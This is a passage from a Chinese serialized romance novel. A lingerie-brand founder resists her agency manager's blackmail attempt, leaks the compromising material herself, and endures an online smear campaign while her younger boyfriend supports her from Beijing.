“是。”谈丹青点了点头,“是他。” 郑芳半张着嘴,突然冲过来用力抱了她一把。 谈丹青:“?” 郑芳抽了抽鼻尖,说:“就是太为你高兴了!” 谈丹青也笑,拍了拍郑芳的后背。 郑芳继续一张张慢慢看,看着看着,她的惊讶渐渐变成了心疼,“你……你怎么画了这么多啊……这有多少张啊!谈丹青,你知道你让我想到谁了吗?” “谁?”谈丹青问,“梵高啊?” “那个,那个写诗写到吐血的。”郑芳说。 “李贺?” “对对对,李贺!”郑芳说:“谈丹青,我真怕你再画下去,会真跟他一样吐血啊……” 谈丹青噗嗤笑,说:“放心,我气血旺得很。” 郑芳也被逗笑,她想起一茬,说:“不过你不是周五才上完课么?怎么今天就回了?” 谈丹青简明扼要地把和魏帆通话的情况告诉了郑芳。 郑芳听完,瞬间炸毛,“靠!这些人怎么这么坏啊!我们签约两年,按合同给他们抽成,他们钱拿了,帮我们什么了?现在还要坑我们?这干的是人事?” “所以我买最早的机票赶了回来,”谈丹青灌了口咖啡,语气冷静。 经过一整夜的思路梳理,她现在已经戒掉了愤怒的情绪。“今天我就去找吕力鼎摊牌解约,看他们怎么提条件。” “我跟你一起。”郑芳桌子一拍,要大干一场。 “行,”谈丹青点头,“阵仗摆足了,气势不能输。” “必须的!”郑芳应完,忽然想到什么,语气迟疑了,“诶,那你T大后面课都不上了?结业证……不要了?” 谈丹青握着咖啡杯的手指紧了紧。 结业证?且不说后面的课她都没上,最后那场最重要的结业考试她都参加不了,T大怎么可能给她颁证书? 刚知道不能去上课时,确实有点小失落。毕竟,一个没正经念过大学的,能在T大蹭一圈课,谁不想揣个证当纪念?证明自己也算“到此一游”过。 不过那点失落也就冒了个泡,很快被她自己打消了。 她谈丹青做事,向来只看值不值。 学到的本事、脑子里的灵感才是真金白银,一张纸片,能证明什么? “不要了,”她放下杯子,语气轻松得像在说今天天气不错,“那玩意儿,没啥用。” “也是,”郑芳立刻被带跑偏,大手一挥,“破纸一张,咱不稀罕!” 快速过完这几天的后台数据,又听完市场部的简报,谈丹青匆匆扒完一份外卖猪脚饭,就在会议室拨通了吕力鼎的视频。 “小谈总呀,好久不见好久不见。”吕力鼎那张圆滑的笑脸出现在屏幕上,寒暄得滴水不漏。 可谈丹青一提“解约”俩字,对方立刻像泥鳅一样滑开,东拉西扯,就是不接茬。 来回扯了两三轮,谈丹青那点耐心告罄。 她身体微微前倾,直视屏幕,唇角还带着点笑,说:“吕总,您时间宝贵,但我也忙,咱们就不兜圈子了吧。我跟你们签的合同下个月就到期了,后面我们不续约了。” “不续了?你确定?”吕力鼎脸上的笑淡了点,露出一丝玩味。 “是,”谈丹青说:“这段时间合作愉快,但我们后面另有发展计划,不继续合作了。” 吕力鼎:“小谈总,您这算盘打得精啊。” 谈丹青皱了皱眉,“什么意思?” 吕力鼎阴阳怪气地说:“你这叫啥?这叫‘过河拆桥’,‘吃饱了骂厨子’!你真以为你们有今天,是你谈丹青有多了不起?呵,没我们平台的流量扶持,你算个啥?” “你个死肥猪,放什么狗屁?”郑芳暴脾气上来了,直接拍桌子,“‘丹心’的设计稿是丹青熬了多少夜画的?打版是她一家家工厂跑断腿盯出来的!账号内容是我们团队脑细胞死绝了想出来的!直播是我们一站几小时吼出来的!你们除了抽成签字,干过一件人事儿吗?功劳倒全贴你脑门上了,你脸咋那么大呢!” 吕力鼎显然被骂“死肥猪”是家常便饭,等郑芳喷完,皮笑肉不笑地扯了扯嘴角,说:“小郑总,你也真是搞笑,都什么年代了你还跟我说‘内容’?我告诉,你就是给我一坨屎,我也能把这坨屎炒得成千上万的人排队买。 “还真以为你们今天数据是靠‘设计’打出来的?真是在风口上的猪不知道自己是猪。小郑总,听哥我一句劝,你这脑子,真不适合创业,趁着年轻貌美,找个男人嫁了吧。” “你!”郑芳气得脸通红,还要再骂,被谈丹青一个眼神按住了。 谈丹青刚才那股火气反而被这通互怼给浇冷静了。 她靠在椅背上,指尖在桌面轻轻一点,语气平淡却带着不容置疑,“吕总,有话好好说,没必要搞人身攻击吧。 “我们不讨论‘丹心’这个牌子走到今天,到底是靠我的设计,还是靠你们的推流。现在我们已经合同到期了,后面桥归桥,路归路,大家好聚好散。您继续找个牌子推您的流,看能不能卖爆;我就安安心心地继续做我的设计。各走各的,互不耽误。” “小谈总,您这话说的也太轻巧,”吕力鼎脸上的假笑彻底收了,“‘丹心’现在是最火的国风内衣品牌,你知道现在市场估值是多少钱?想走?行,没问题啊,门在那儿,开着呢。但是,‘丹心’这个牌子,” 他笑了笑,像鲨鱼在冲她亮尖齿,“别想带着一起走。” “什么?!”郑芳差点蹦起来,“抢东西抢得这么理直气壮?这牌子是我们的!” 谈丹青按住郑芳,目光锐利地盯住屏幕:“吕总,法治社会。这牌子我能不能带走,合同说了算,不是你红口白牙一句话的事。” “合同?”吕力鼎像是听到了什么笑话,短促地笑了一声,然后摇摇头,说:“果然是第一次创业。” 谈丹青面无表情。 吕力鼎说:“想谈合同,行,那我们就谈合同。 “在我们合约存续期间,你谈丹青可是要对品牌形象负责的。万一……我是说万一,你在这个节骨眼上爆出点‘负面舆情’的新闻,那可就不只是走人这么简单了。赔款,懂吗?天文数字的赔款。” 谈丹青呼吸加快,手指攥在一起又松开:“威胁我?” “啧,您这话就说得难听了。当初您被魏总介绍来,我可费心费力地照顾你不是吗?我这是好心提醒你啊。对了,魏总结婚,怎么没见你来喝酒?” 吕力鼎那头传来鼠标的声音,“小谈总,给你看点东西,你自己判断吧,到时候别怪我不讲仁义。” 话音未落,一个加密文档就弹了过来。 谈丹青点开,只扫了几眼,心瞬间沉了下去。 郑芳凑过来,只瞥了一眼屏幕,失声惊呼,“他们……他们怎么会有这些?!” 文档里罗列的东西,像一张精心编织的网:谈国军在公司被她冷拒的照片、她和绪东阳在昏暗酒厅跳舞的抓拍、甚至还有她早期为了博出位拍摄的尺度略大胆的内衣宣传照…… 每一条,都精准地瞄准了她账号的命门。 一瞬间的耳鸣、血液冲上头顶又瞬间褪去。 她的手指在鼠标上无意识地颤抖,屏幕上的文字和图片在眼中模糊又扭曲。 她猛地咬住口腔内侧的软肉,尖锐的痛感刺穿了那瞬间的眩晕,强迫自己将视线死死钉在屏幕上那些恶意的图文上。 不能慌。 绝不能在吕力鼎面前露怯。 她下意识摸了摸自己的手腕,好像在摸绪东阳留下来的小皮筋。 吕力鼎的声音带着恶意的戏谑,“小谈总,做人怎么能对自己的亲生父亲这么狠呢,这不是白眼狼啊? 屏幕那头传来鼠标声,吕力鼎饶有兴趣地咔咔点击着什么文件。 “还有,挺会玩嘛,你这个小男朋友比你小多少岁啊?五岁、六岁?你给了他多少钱让他陪你?小谈总您也年轻貌美,你说这是何必? “你们搅在一起的时候,他成年了吗?不会未成年吧? “嗨,反正这种事,大家骂完也没人会去证实。到时候,我说他当时未成年,他就是未成年。” 【作者有话说】 请记住这根小皮筋儿…… X﹏X 59 第59章 ◎丝线◎ 屏幕那头,吕力鼎油腻的脸上堆满猫捉老鼠般的得意,静候她的崩溃。 一句句黏腻恶意的话语,顺着听筒,像冰冷的毒蛇蜿蜒钻进谈丹青的耳朵。 谈丹青指尖冰得刺骨,仿佛刚精心堆起一只雪人,又要将它无情地推倒。 心脏在胸腔沉重地撞击着,一下,又一下。 愤怒,还有被窥伺隐私的后的恶心,让她抑制不住地想冲去卫生间呕吐。 “你这个死东西!”郑芳气得浑身发抖,抄起鼠标就要砸向议室投影幕布。 “别砸,”谈丹青的声音不高,但掷地有声,像一枚锐利的钉子,将郑芳钉在了原地。 “投影仪要钱的。” 她的目光死死焊在投影屏幕上,钉在吕力鼎那张令人作呕的脸上。 没有惊慌失措,也没有歇斯底里。 她只是微微眯了眯眼,然后极轻地轻蔑一笑。 吕力鼎脸上的得意冻住了。 她怎么现在还笑得出来? “你……你笑什么?”他声音发紧。 “吕总,”谈丹青重新开口,声音出乎意料的平稳,甚至比刚才谈判时还要冷静清晰。 “为了抢个牌子,下三滥的招式全出来了,连伪造证据诬陷人的路数都用上。贵公司的‘企业文化’,我今天算是开了眼。” 她微微前倾,靠近摄像头,漂亮的脸在屏幕里缓缓放大,“咱们礼尚往来。你给我送了这么份厚礼,那我也给*你一点东西?” “什么。”吕力鼎的声音越来越低。 谈丹青打开手机,按下播放键。 吕力鼎自己的声音立刻在会议室里炸开:“到时候我说他未成年,他就是未成年……” 吕力鼎的脸色倏地沉了下去,像蒙上了一层阴翳。 谈丹青掐断录音,徐徐开口:“我也不是第一天出来混。你猜,我要是把你这通话录音,再把你发的这份‘文档’,原封不动地交给警察,这事儿,还只算合同纠纷吗?” “小谈总,话可不能乱说!”吕力鼎强作镇定,声音却明显虚了,“我这是……这是基于事实的合理推测!提醒你规避风险!” “合理推测?”谈丹青像是听到了天大的笑话,“拿着偷拍的照片、断章取义的视频,来‘提醒’我?你是不是觉得法院是你家开的?” 她不再看他,身体靠回椅背,懒洋洋地陷进椅背里,仿佛刚才的威胁只是拂过耳边的风。 “哦对了,”她似是忽然想起来了什么,慢悠悠地说:“你倒是提醒我了,魏繁星结婚,我忘了去送礼,你说,如果我现在过去哭一哭,他会不会恋我这个旧情呢?” “你真是……”提到魏繁星,吕力鼎更是心虚。他原以为两人早就断了,但此刻谈丹青胸有成竹的样子,又叫他担心自己是不是情报有误,两人还藕断丝连着?他虚张声势地说:“小谈总,你这是何必?伤和气不是?我今天就是来提醒你,好心还被当成了坏事。” “行了,你的‘提醒’,我收到了。”她拿起手边的咖啡杯,慢悠悠地喝了一口,眼神扫过屏幕上那张青白交加的脸,带着毫不掩饰的轻蔑,“解约通知我会正式发到贵公司法务部。至于这个牌子,它是我的心血,从设计图到第一件样衣,从第一个粉丝到现在的规模,每一针每一线,都刻着我的名字。 想抢?门儿都没有。” 说完,根本不给吕力鼎任何反驳的机会,谈丹青抬手,干脆利落地按下了结束通话的红色按钮。 “嘟——” 屏幕瞬间黑了下去,会议室里陷入一片死寂。 郑芳还僵住刚才被喝止的姿势里,她六神无主,眼圈迅速泛红,泪水涌了出来,哭着说:“怎么,怎么会这样啊……难道,难道你真的要去找魏繁星?他都结婚了。而且你跟绪东阳现在又这么好……现在可怎么办……” 谈丹青没说话。 刚才强撑的那股气势渐渐被抽空。 她靠在椅背上,胸口剧烈起伏,深深吸进一口气,再极其缓慢地、仿佛耗尽全身力气般将它吐了出来。握在咖啡杯上的手指,因为过度用力,骨节绷得发白。 “不。”谈丹青缓缓地摇了摇头。 “我刚刚那么说,是吓那个姓吕的。”谈丹青淡声说,声音清醒得近乎冷酷,“我现在不可能再去找魏繁星了。还没明白吗?我之所以走到今天这一步,就是因为那时,我动了想依靠别人的心思。” 回顾她的命运,她大概属于六亲无靠的八字,所以才会没当她不想靠自己了,想靠一靠别人的肩膀,就立刻回受到报应。 “我现在去找他,再让他帮我,不管他帮还是不帮,都是在重走老路。” 郑芳被她眼中的近乎残酷的清醒震住,讷讷地问:“那……那我们接下来怎么办?” “我先联系魏帆吧,”谈丹青的声音恢复了平时的清亮,“把刚才的通话录音、吕力鼎发的文件,还有我们签的所有原始合同,全部打包发给他,向他了解情况。从法律角度,我们现在到底站在什么位置,有多少回旋余地。” “然后呢?”郑芳的心悬了起来。 谈丹青沉默了片刻,眼神几度变幻,最终归于一片沉静的冰湖。她开口,仿佛每个字都带着千钧的重量:“然后,”她顿了顿,清晰地吐出决定,“我们自己动手,把这些黑料……放出去。” “自……自己放?!”郑芳惊得声音都变了调。 “‘丹心’这个牌子,就算这次勉强保住了,被他们这种饿狼盯上,以后还会有无穷无尽的麻烦,所以,”谈丹青说:“就让他们抢吧,让他们费尽心机最后抢个破铜烂铁。” 她摊开自己的双手,然后缓缓合上,仿佛在紧紧抓住什么。 “有的东西,他们能抢走;但是还有的,他们怎么也抢不走……” 郑芳彻底明白谈丹青的打算,“反正,不管怎么样,我都站在你这一边。” 静默在空气中流淌了片刻。郑芳看着谈丹青疲惫却依然挺直的脊背,犹豫再三,还是轻声问了出来:“绪东阳你打算怎么办?要分手吗?” “这跟他没关系,”谈丹青说:“今天我交一个年纪小的男朋友,叫恋童癖;我交一个年纪大的男朋友,叫恋老癖;我交一个和我年纪相仿的男朋友,也可以说我没眼光;有钱的是捞女,没钱的是扶贫。 “只要他们想弄我,那我做什么都是错的,呼吸时错、吃饭是错。既然做什么都该死,那也意味着,我什么都能做了。而且这是我的感情,我的生活,我不会因为几个我甚至都不认识的人就改变。” 郑芳点了点头。 她知道谈丹青此刻正被架在火上烤,而她大大咧咧惯了,关键时刻竟一句熨帖的话都掏不出来。 “你……你在这儿坐着歇一会儿吧。”她声音轻得像怕惊扰了什么,轻轻带上会议室厚重的门。 就在这时,搁在桌面上的手机屏幕,毫无征兆地亮了起来。 谈丹青有些迟钝地抬眼看去。 Leo:【你那边情况怎么样?】 紧接着,第二条消息跳了出来,简单直白, Leo:【有点想你了。】 他发来在图书馆随手拍的照片。 窗明几净,桌上摊着书本。 他骨节分明的手,撑在一旁。 瘦而苍劲的手腕上,圈着小小的牛皮筋。 盯着那根小小的皮筋,看着那句简单的“想你”,谈丹青眼眶猛地一热。她下意识地抬手,隔着屏幕,指尖触碰一直安静缠在手腕上的那根小小黑色皮筋。 刚才面对吕力鼎的威胁都没有掉下的眼泪,此刻却汹涌地冲了上来。她把酸涩强行压了回去。不能哭,深吸一口气,指尖在屏幕上飞快地敲击: Tdq:【有点麻烦。】 信息几乎是秒回。 Leo:【没关系。这件事我们一起度过。】 一股难以言喻的暖流,带着细微的电流感,瞬间从心口蔓延至四肢百骸。眼眶依旧酸胀得厉害。 Leo:【视频聊吧,想看看你。】 她现在的状态不太好,也不习惯对外流露出丑态。 手指仿佛被这直白的关心烫了一下,蜷缩起来。 她迅速敲下回复,发送。 Tdq:【在忙。】 这两个字发送成功,她又有一股想撤回的冲动。 想发“其实不太好”,想发猫猫委屈哭脸。 Leo:【好,我清明节放假回来陪你。】 这条信息秒回得如此之快,几乎像是预判了她的拒绝,没有追问,没有失落,只有一种沉稳的承诺。 Tdq:【行啊。你忙吧,在学校好好上课!】 Leo:【嗯,好好照顾自己。】 Leo:【等你不忙了打视频。】 Tdq:【好。】 回完消息,像剪断了最后一根紧绷的弦。 谈丹青肩头那无形的千钧重担,跟着轰然坍塌。 她仿佛被抽去了脊骨,更深的陷进椅子里。 抬起手,指尖重重地按压着突突直跳的太阳穴,疲惫如同冰冷的潮水,瞬间将她淹没。 目光茫然地投向窗外。 午后的阳光过于炽烈,刺得人眼酸。光柱里,细小的尘埃狂舞,像一场无声的微型风暴。那扇老旧斑驳的玻璃窗,边缘和四角积着经年累月、怎么也擦不净的灰黄污垢,给窗外的世界蒙上一层浑浊的、毛茸茸的滤镜。她就是将这幕画成了那副《窗》, 空无一人的会议室安静得令人窒息。 推开会议室的门,她独自穿过巨大的厂房。 空气里弥漫着棉絮、染料和机油混合的、特有的气味。 巨大的纺织机器轰鸣不息。 丝线,成千上万根细若游丝的线,从四面八方汇聚而来,在飞速旋转的锭子间穿梭、纠缠、融合。在银亮的梭子引导下,经纬交织,最终在另一端,流淌成一片片崭新、光洁的布料。 白色的,粉色的,月牙青的…… 她放慢脚步,指尖无意识地拂过一匹刚下机的素缎。 冰凉、顺滑的触感从指腹传来,带着新生的、洁净的气息。这就属于她的油画颜料,是她灵感的具象。而她却即将亲手打破自己倾注了全部心血、如同孩子般养大的东西…… 心脏像是被一只无形的手狠狠攥住,骤然缩紧,窒息般的钝痛从胸腔深处蔓延开来,钝刀子割肉一般,缓慢而清晰。 冷静、犀利、杀伐决断,那全是在会议室里演给外人看的一场戏,此刻的她,只剩下满心的荒芜与钝痛。 【作者有话说】 谢谢宝贝的营养液! 鞠躬 60 第60章 ◎发现◎ 这几天娱乐圈风平浪静,正愁没有八卦,于是关于谈丹青的黑料,一放上网,就像被点燃的汽油桶,轰然炸开。 热搜榜上,#谈丹青大尺度海报#和#谈丹青白眼狼#两个词条一前一后,后面都跟着刺眼的“爆”字。 第一枚炸弹,是她早年为了推广尚未成名的内衣品牌,拍摄的宣传海报。 展示服饰的照片被刻意挑选了最具冲击力的角度,紧身蕾丝勾勒出火辣的曲线,眼神迷离,姿态大胆。 这些照片被赋予了浓烈的色情暗示,成了对她进行道德审判最大的铁证。 营销号更是添油加醋:“吃着女权饭,结果是靠脱衣服起家。” “呕!装什么清高设计师,骨子里就是卖肉的!” “这种人也配谈设计?设计怎么脱得更快吗?” “手段了得啊……爬了多少大佬的床,” “取关了,牌子再好也不想穿这种老板做的衣服,恶心!” …… 第二枚炸弹,直指她的“人品”。 一份据称是“内部人士”提供的“爆料”,绘声绘色地描述了她如何对“年迈无助”、“幡然醒悟”的生父冷酷无情,拒绝相认,甚至恶语相向。 配图是一张模糊的、看起来颇为潦倒的中年男子照片,标题触目惊心——“女儿是成功女企业家,亲生父亲流落街头靠捡垃圾为生!” “生父都不认?畜生不如!” “自己穿金戴银,亲爹流落街头?心是石头做的?” “我之前就觉得她设计的东西不行,原来是有股人血味!!” “白眼狼!这种人做的东西谁敢买?不怕遭报应吗?” “艺术?先学学怎么做人吧!” 汹涌的恶意几乎要将“丹心”的品牌官网和官方社交账号淹没。客服电话被打爆,全是辱骂和质问。合作方纷纷发来措辞谨慎的询问函,部分线下渠道甚至出现了要求下架产品的呼声。 “丹心”这个由谈丹青倾注了全部心血、如同亲手抚养长大的孩子般的品牌,正被无数双看不见的手粗暴地钉在耻辱柱上,声誉以肉眼可见的速度崩塌。 烈火烹油般的谩骂中,也有微弱的其他声音。 一些资深的“丹心”老粉,顶着巨大的压力站了出来: “海报是好多年前的了!那时候‘丹心’刚起步,根本没钱请模特,她自己上是为了省钱!而且当时的内衣广告尺度都差不多,凭什么只骂她?” “就是!我看过原版海报,明明很正常,简直美神降临!被恶意截图成这样!原图呢?敢不敢放出来?” “那个‘父亲’的料太假了吧?我记得谈总和她弟弟两人相依为命吧。她妈妈去世早,从没听她提过父亲!突然冒出来个爹?时间线都对不上,她妈去世时她才多大?这‘父亲’早干嘛去了?” “楼上+1!” 混乱喧嚣、真伪难辨的网络风暴中心,“丹心”的官方账号却异常沉默,只发布了一条极其简短、冷静的公告:“针对近期网络流传的不实信息及对我司创始人谈丹青女士的恶意诋毁,我司已委托律师进行证据保全,并将通过法律途径维护合法权益。” 公告词条发出后,瞬间被更汹涌的质疑和谩骂吞没,像一块投入沸水的坚冰。 下午忙完,谈丹青站在洗手间明亮的灯光下,对着镜子补妆。 有两名不太了解情况的实习生不知道她进来,正在隔间里隔着门板聊天,“你看新闻了吗?” “看新闻了,”另一个女生说:“没想到谈总是这种人……连自己的亲爹理都不理。” “我看那个老人家真的好可怜啊,坐了好几个小时的车,就来给女儿送鸡蛋,结果都被砸了。” “是啊。” “那你还留在这儿继续干么?” “留啊……”女孩说:“毕竟要赚钱呢!” 两人感慨完,一前一后地出来,正撞见对着镜子补口红的谈丹青。 姣好的脸映在平滑的镜面里,被光带照得雪白,用一管细口红描着唇线。 谈丹青的脸颜色艳,眉黛眼亮,面颊白皙,再添上一点红,便更如她的名字,花团锦簇。 “谈,谈总……” “谈总。”两位在背后嚼舌根的女孩儿面面相觑,吓得脸色惨白。 老实说,类似的话,谈丹青已经听得太多了。阈值变得很高,已经激不出愤怒的情绪。 她将上下唇轻轻抿在一起,让那艳丽的红在唇纹上晕开,然后又用指尖轻轻在唇珠上点了点,叫颜色更加自然轻薄。 钱夹打开,谈丹青将口红扔了回去,哒地合上,然后悠悠转过身,瞧了那两名惊如鹌鹑的女孩儿一眼,说:“对新闻跟的很紧嘛,那正好,今天的数据分析报告拿给我看看吧。” “好的好的!”女孩忙不迭答应。 谈丹青没揪着她们不放,依旧保持着公事公办的态度,两人长松了口气,鱼贯而出。 谈丹青对着镜子继续整理发丝,这件事让她想明白了一个道理。 有时候,灾难没发生,反而比发生更让人焦虑。 没发生前,心是悬着的,会不受控制地胡思乱想,一遍遍预演最糟糕的场景,想象到时候会如何如何,怎样怎样。 恐惧的本身,足以把人压垮。 可实际上,等事情真正发生了—— 嗨,也就这么回事。 挨骂? 骂就骂呗,也不会少一块肉。 如果全世界的人都来骂她,然后骂完给她一块钱,那么她现在就是世界首富了。 手机屏幕亮起,像暗室里倏然点亮的一颗星。 Leo:【图片】 一张清明返程的票。 Tdq:【这么快?】 Leo:【嗯,一刷出来就买了。】 Tdq:【你的票怎么这么便宜呢?】 她记得返程火车票要好几百。 Leo:【学生票半价。】 Leo:【薅社会主义羊毛。】 谈丹青也不知自己心怎么这么大。 在这个节骨眼上,还笑了起来。 Tdq:【那是真的不错!】 他似乎在担心她最近心情不好,分享了许多日常。 一张天空的照片。 Leo:【这云像不像我们上次看到的那朵?】 Tdq:【有点诶……像奥特曼打小怪兽!】 Leo:【心情不好的时候,可以看看云。】 他还给她发来许多适合心情低落时听的歌。 “月儿明, 风儿轻, 可是你在敲打我的窗棂……” 谈丹青这才知道,绪东阳对歌曲的品味,跟老头儿没任何关系。他唱《一生有你》是单纯喜欢这首歌。 绪东阳就像她的充电宝。 聊一会儿,就充上了电。 * 谈丹青这边压力大,吕力鼎那边的日子更不好过。 他本想借这股“东风”彻底压垮谈丹青,坐收渔利。 没承想,谈丹青的反击如此狠烈。她先老老实实跟他们续了卖身契,将品牌出让他们,只要求修改一条,就是“丹心”未来的品牌形象与她无关。这么做正中他的下怀,他没多想就答应下。 怎么会想到谈丹青反手就自毁前程,将黑料爆到了底。 更让他心惊肉跳的是,随着舆论深入,一些对他不利的疑点开始被放大。 已经有敏锐的个人自媒体账号注意到“爆料”时间点与“丹心”易主的微妙吻合,开始用“资本博弈”、“卸磨杀驴”等字眼进行影射;更有资深财经博主指出,所谓“内部人士”爆料的行文风格,与MCN以往打击竞争对手时的手法有相似之处。 谈丹青甚至都没有放终极武器——录音。 吕力鼎手下的公关团队忙得顾头顾不了腚,一边要疯狂删帖控评,将舆论对品牌的负面观感引导为对谈丹青个人的网爆,一边还要疲于应付公司上级的层层压力。 他焦头烂额地给魏繁星发赔罪短信:【魏总,这事真不是我做的!谈小姐是您的人,就算,就算给我一百个胆子,没您点头,我也不敢真把她怎么样啊?这些都是她自己做的,她自导自演!】 可消息发出后,全都石沉大海,魏繁星始终没有回复,不知道他此时此刻到底是个什么态度。 紫檀木茶案上,一泓清泉在小电炉上汩汩作响,蒸腾起氤氲的白汽。 上好的明前龙井在素白的瓷盏中缓缓舒展,翠色诱人。 魏繁星靠坐在宽大的太师椅里,修长的手指无意识地在冰冷的手机屏幕上滑动。屏幕上信息不断闪烁,邀约的、奉承的、求办事的…… 却始终没有那个他潜意识里在等的名字弹出。 他点开和谈丹青的聊天对话框。 对话停止在了许多月之前。 吕力鼎极力撇清自己,说这件事从头到尾都跟自己没关系。 是谈丹青莫名其妙发起疯。 这话他信一半。 意外,但也没那么意外。 挺有谈丹青的风格。 宁为玉碎,不为瓦全。 不想给的东西,就算亲手砸了,也不会递出去。 屏幕停在那张露骨的海报上。 十八岁的谈丹青,像一朵含苞欲放的玫瑰花。 花瓣鲜艳,已经长出了扎手的刺。 他眉心几不可察地蹙了一下,随即又松开,仿佛只是被窗外掠过的一片竹叶分了神。 “这几天闹得凶的事,我总觉得我似乎在哪儿看到过。”坐在他对面的魏晨风缓缓开口,声线低沉平稳,久居上位的从容。 正式接位后,魏晨风改爱喝茶,西装也换成了剪裁精良的深色中式褂衫,指间套着一枚温润的玉扳指。执壶、分茶,动作行云流水。他的眼神锐利如鹰隼,将弟弟那细微的情绪波动尽收眼底。 “是。”魏繁星深知任何事都瞒不过兄长的眼睛,“算是半个老朋友,以前是我牵桥搭线。” 魏晨风将一盏澄澈的茶汤推到魏繁星面前,说:“看着自己一手扶植起来的苗子要被人掐断了,什么感觉?” 魏繁星端起茶盏,指尖感受着温热的瓷壁,目光却依旧落在窗外摇曳的竹影上,并未立刻饮下。茶室里只剩下沸水轻吟和竹叶摩挲的沙沙声,空气仿佛凝滞了几秒。 “她脾气向来不好,”魏繁星终于开口,声音淡淡的,听不出情绪,像是在评价一件与己无关的东西,“这次撞得头破血流,未必不是好事。不摔一跤,总清醒不了。” 他顿了顿,将茶盏凑近唇边,氤氲的热气模糊了他深邃的眼眸。一个清晰又冷酷的念头不受控制地浮起。 或许,等谈丹青真的山穷水尽、走投无路时,才会想起回头看看,才会明白哪里才是真正的依靠。 他呷了一口茶,温热的液体滑入喉间,却未能驱散心底那一丝莫名的焦躁。 这份焦躁里混杂着掌控欲落空的愠怒,以及连他自己都不愿承认的,一丝被那废墟之上依然挺直脊梁的身影所触动的异样情绪。他期待她的臣服,又隐隐期待着看她能在这绝境中走出多远。 他终究没有说出那个“帮”字。 观望是他此刻选择的态度。也是他等待一个谈丹青主动示弱的契机。 魏晨风没有再追问,只是意味深长地看了弟弟一眼,嘴角噙着一丝了然又疏离的笑意,也端起了自己的茶盏,“随你,她脾气不好,弟妹脾气倒是很好,度量大,不跟你闹,但你自己也别弄得太难看。” 茶室里,袅袅茶香静静流淌。 “是。”魏繁星的婚后生活其实和婚前没有什么区别。在宁燕面前,他得顾忌她的家室,做不到敞开,更谈不到一起去。宁燕大概也习惯他们圈子里这种貌合神离的婚姻,他不敞开,她也不追问,比起爱人,他们更像合作伙伴,只需考虑如何将利益最大化。他继续在外彩旗飘飘,这些人只要不闹到宁燕面前,她便睁只眼闭只眼。 * 中午谈小白和女朋友吴欣然两人在食堂面对面一边吃饭一边刷手机,突然吴欣然将手机递给他看,“你姐姐的事,好像越闹越大了。” 谈丹青公司出了岔子,他远在厦门也看到了。 他打电话问过谈丹青。 但谈丹青总把公司的责任抗自己肩上,不愿影响他的学习,只说网上全是瞎扯淡,一个字都不用信。 然后叫他清明早点回来,好给母亲李柔扫墓。 “网上他妈胡说八道,”谈小白爆了句粗口。 “他们好像现在连丹青姐的男朋友都扒出来了,” 谈小白嘴上对吴欣然说,这个人绝对不是绪东阳。可是两人分开后,他再次看着照片。他和绪东阳在可是朝夕相对住了一年,不可能认不出他的背影,这个背影,绝对就是他。 他再回想他们之间的点点滴滴。 似乎绪东阳一直对谈丹青抱有非常大的兴趣,他们的对话说着说着就到谈丹青身上,然后他安静无声地倾听着他们过去的时光。 还有,绪东阳看谈丹青的眼神也不一样,盯得死死的。 种种迹象在他心中翻江倒海。 他不愿相信绪东阳竟然是从进他家门开始,就惦记他姐的人。 这让他觉得很下作,像边台一样。 他自我开解。 就算照片里是这个人,但他俩可能也就是在一起跳个舞,并没有别的什么。中间可能有他不知道的阴差阳错呢? 抱着这样的念头,他给绪东阳打了通电话。 “阳哥,你们清明啥时候放假?”他在电话里嬉皮笑脸地问。 绪东阳抱着谈丹青的画册,守在设计学院门口。 天气越来越热,阳光刺目。 “买了,”他回答,“四号回。” “那我还比你早一天。”谈小白说,“我跟我姐到时候要去给我妈扫墓,你一起吧。” “好。” 谈小白顿了顿。他也不想这么试探绪东阳,但他又不得不做。 “对了,”他的语气依旧保持镇定,说:“我姐去北京,多谢你照顾啊。” 绪东阳被太阳照了一下,微微眯了眯眼。 他其实一直都想跟谈小白摊牌—— 别叫哥了。 叫姐夫。 但他知道谈丹青和谈小白两人姐弟感情深,谈丹青说他们俩的事,她想亲口告诉谈小白。她最近又麻烦缠身,他不愿做那个给她添麻烦的人。于是绪东阳略一停,改口说:“没,她没来找我。” “哦,是么……”一听绪东阳的回答,谈小白反而七分的怀疑变成了百分之百。 绪东阳借住在他家时,谈丹青对他那么好,几乎把他当成了半个亲弟弟,有什么给他的好东西,都会特意多备一份给绪东阳。如果他们之间没什么,谈丹青去北京上课,怎么可能不去见他?绪东阳现在说,没见面,这才是骗人,这才是欲盖弥彰。 60-70 61 第61章 ◎吻◎ 这几天,绪东阳雷打不动抱着谈丹青沉甸甸的画册围堵设计院教授。 他跑得太勤,连设计院其他老师都认得他。 一位路过的老师笑着打趣:“呦,这不是绪东阳?老高的得意门生啊!你给灌什么迷魂汤药,天天往你这儿跑?” 教授说:“为他女朋友。” “真是年轻人呀!”老师摇摇头,笑着走开了。 进了办公室,绪东阳同其他老师打了招呼。他走到教授办公桌前,将画册轻轻放下,“老师,您应该看到谈丹青公司最近的新闻了吧?她后面来不了,是真的脱不开身。这里是她的一些作品,请您看一看。她真的很用功,也很有才华……关于结业证书,您看,可否通融通融?” 教授被绪东阳锲而不舍的心打动,终于接过了画册,一页页翻开。纸上的线条流畅,构思巧妙,确实能看出天赋和用心。 他抱有惜才之心,但规矩就是规矩。他叹了口气,说:“谈丹青她……是个好苗子。但结业证书的颁发这件事不是我一个人决定,这需要院系领导开会讨论,走正式流程才能决定。我就算想帮你,也帮不了。” 绪东阳的心沉了一下,思绪飞转:“老师,我明白学校的规章制度。那您看,我能不能补充提交一些材料?比如她之前完成的作业草稿、构思笔记。或者,有没有可能让她远程完成一个替代性的结业项目?只要能证明她的能力和付出,任何方式我都愿意配合,任何要求我都会尽力去达成……” 少年语气诚恳,字字真切,教授心有所动,但也只能再次摇头,语气温和却不容置疑:“东阳,你的心意我看到了。但流程就是流程,没有先例可循。现在提交额外材料,或者临时更改结业方式,都不在既定的规则范围内。” “我明白了,谢谢老师。”绪东阳没有再多做无谓的纠缠。他挺直脊背,将那份沉重的画册重新抱回怀里,动作带着一种珍视的意味。他再次向教授微微鞠了一躬,声音低沉却清晰:“打扰您了,我再想想其他办法。” 清明节前一天的课上到了晚上九点。下课后,绪东阳的眼皮已经快要合拢了。但他舍不得睡觉,强灌了一杯咖啡就往高铁站跑。 高铁开动后很平稳,只有轻微的晃动,车里的旅客轻声说话,好像白噪音,这种感觉非常容易让人放松警惕。 绪东阳最近咖啡喝得太多,咖啡因已经彻底失效,迷迷糊糊就睡了过去。等他再睁眼,已经快到了。 他打了个激灵,抓起手机看,手机进了一堆消息。 他飞快回了其他人的消息,然后坐直起来,回复谈丹青。 Tdq:【上车了吗?】 